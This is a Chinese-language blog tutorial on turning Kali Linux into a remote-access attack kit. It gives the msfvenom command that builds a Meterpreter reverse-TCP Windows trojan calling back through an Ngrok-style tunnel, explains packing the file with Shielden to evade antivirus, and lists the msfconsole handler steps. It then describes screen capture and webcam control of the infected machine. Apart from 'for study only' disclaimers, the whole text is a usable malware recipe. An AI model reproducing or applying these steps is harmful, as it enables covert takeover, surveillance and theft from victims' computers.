前言

大家好，這里是浩道linux，主要給大家分享linux、python、網(wǎng)絡(luò)通信相關(guān)的IT知識(shí)平臺(tái)。

今天浩道跟大家分享硬核干貨，關(guān)于通過(guò)Kali Linux系統(tǒng)生成木馬病毒并實(shí)現(xiàn)遠(yuǎn)程控制計(jì)算機(jī)的一次安全實(shí)戰(zhàn)過(guò)程！

?

前言

該文章內(nèi)容僅用于學(xué)習(xí)使用Kali Linux系統(tǒng)，請(qǐng)不要將它用于非法的途徑，如有意外概不負(fù)責(zé)。

我將會(huì)詳細(xì)介紹使用Kali Linux系統(tǒng)生成木馬并用它遠(yuǎn)程控制一臺(tái)處在外網(wǎng)的物理計(jì)算機(jī)，使用到的工具有：

1、VMware Workstation Pro 16（虛擬機(jī)）

2、Kali Linux 2021（系統(tǒng)）

3、Sunny-Ngrok（內(nèi)網(wǎng)穿透服務(wù)）

4、Shielden（加殼小工具）

網(wǎng)絡(luò)如山勤思為徑，信息似海安全作舟，牢記網(wǎng)絡(luò)安全，開(kāi)始我們接下來(lái)的學(xué)習(xí)。

一、安裝虛擬機(jī)和系統(tǒng)

安裝步驟很簡(jiǎn)單，可自行百度，網(wǎng)絡(luò)適配器選擇橋接模式，要保證你的Kali Linux能連上網(wǎng)。

二、開(kāi)通隧道

注冊(cè)并登錄Sunny-Ngrok，根據(jù)自己的情況選擇開(kāi)通一條隧道，我這里選的是這個(gè)免費(fèi)的。

隧道協(xié)議選擇tcp，隧道名稱自己隨便起，遠(yuǎn)程端口選一個(gè)能用的順眼的（他會(huì)給你推薦幾個(gè)能用的端口），本地端口需要填寫(xiě)你Kali Linux系統(tǒng)的IP地址（用ifconfig命令可查看），冒號(hào)后面填一個(gè)你喜歡的數(shù)字（我一般都用8888），本地端口可以隨時(shí)修改，確認(rèn)信息無(wú)誤后點(diǎn)擊確認(rèn)添加。

打開(kāi)隧道管理，點(diǎn)擊客戶端下載，將下載后的壓縮文件拖進(jìn)Kali Linux系統(tǒng)里并解壓。

使用cd命令進(jìn)入該文件夾，通過(guò)ls命令可以看到里面有個(gè)“sunny”文件。通過(guò)./sunny clientid 隧道ID命令開(kāi)啟隧道。

隧道開(kāi)啟成功后是這樣子：

三、生成木馬

重新打開(kāi)一個(gè)終端窗口，輸入下列命令回車(chē)，他會(huì)在root文件夾下生成一個(gè)Windows的可執(zhí)行文件muma.exe。

?

msfvenom?-p?windows/meterpreter/reverse_tcp?LHOST=服務(wù)器地址?LPORT=隧道端口?-f?exe?>?/root/muma.exe

?

這時(shí)候要注意，先把自己物理機(jī)上的所有殺毒軟件退出，因?yàn)檫@是沒(méi)有加殼的木馬文件，會(huì)立即被刪除，退出殺毒軟件后直接將muma.exe拖進(jìn)物理機(jī)即可。
? ?

四、加殼免殺

為防止被殺毒軟件殺掉，就需要對(duì)它進(jìn)行加殼。
這里用到一個(gè)簡(jiǎn)單方便的加殼工具：Shielden。

將muma.exe拖進(jìn)去，設(shè)置一些參數(shù)，如果對(duì)這個(gè)工具不熟悉的話可以百度學(xué)習(xí)一下，嫌麻煩的話就把能選的都選上，這里注意復(fù)雜度不要太高（我一般拉到66），太高可能導(dǎo)致該程序失效（這是我踩過(guò)的坑）。

下面這個(gè)就是加殼成功后的病毒文件了，因?yàn)檫@個(gè)加殼工具較小，不能做到專業(yè)全面的免殺，在遇到一些強(qiáng)力的殺毒軟件的時(shí)候還是會(huì)被殺掉，所以就不要想著拿它做壞事了。經(jīng)過(guò)我目前的測(cè)試，電腦管家一點(diǎn)都檢測(cè)不出來(lái)，但會(huì)被火絨秒殺，不得不說(shuō)火絨NB啊，別的殺毒軟件我還沒(méi)試過(guò)，就交給你們了。

五、遠(yuǎn)程控制

該木馬程序在任何人的電腦上只要不被殺掉，都是可以進(jìn)行遠(yuǎn)程控制的，這里為了更加直觀，我將用我的物理機(jī)作為被控制的對(duì)象。
? ?
打開(kāi)終端輸入msfconsole回車(chē)，這樣就打開(kāi)了msfconsole。

輸入use exploit/multi/handler回車(chē)。

輸入set payload windows/meterpreter/reverse_tcp回車(chē)。

輸入show options回車(chē)，可以看到Lhost和Lport是空的或不匹配的，這需要我們給他手動(dòng)寫(xiě)入。

輸入set lhost 本地IP和set lport 本地端口，這時(shí)候再用show options命令，就可以看到我們寫(xiě)入的信息了。

使用run命令啟動(dòng)并開(kāi)始監(jiān)聽(tīng)。

這時(shí)候我們雙擊物理機(jī)上的木馬程序，該終端窗口就會(huì)做出反應(yīng)。

到此，物理機(jī)的控制權(quán)就是我們的了，百度meterpreter的一些好玩的命令。

? ?
一些基礎(chǔ)的，比如查看物理機(jī)的IP地址（ipconfig）：

甚至是截取物理機(jī)的電腦屏幕：

更甚至是調(diào)用物理機(jī)的攝像頭拍照等等，因?yàn)榇蟛糠置钣媒貓D無(wú)法直觀的表達(dá)給你們，所以其他好玩的命令還需要你們自己去探索，百度上有很多，我這里就不一一列出了。??

結(jié)束語(yǔ)

因?yàn)閷?xiě)這篇文章時(shí)中途離開(kāi)吃了個(gè)飯，換了一次網(wǎng)，導(dǎo)致IP地址改變了（細(xì)心的同學(xué)可以發(fā)現(xiàn)），解決辦法就是把你的隧道踢下線，修改本地端口為你現(xiàn)在的地址，然后重新上線，重新set lhost 新的IP然后run就可以了。?

再提一次，該文章內(nèi)容僅用于學(xué)習(xí)使用Kali Linux系統(tǒng)，請(qǐng)不要將它用于非法的途徑，如有意外概不負(fù)責(zé)。

網(wǎng)絡(luò)并非無(wú)法之地，我這篇文章所展現(xiàn)的內(nèi)容雖遠(yuǎn)不能對(duì)大部分有防護(hù)的電腦造成威脅，但網(wǎng)絡(luò)安全意識(shí)是對(duì)每個(gè)計(jì)算機(jī)使用者最基本的要求。

我們互連成網(wǎng)，互幫互助，共同打造良好的網(wǎng)絡(luò)環(huán)境。

　　審核編輯：湯梓紅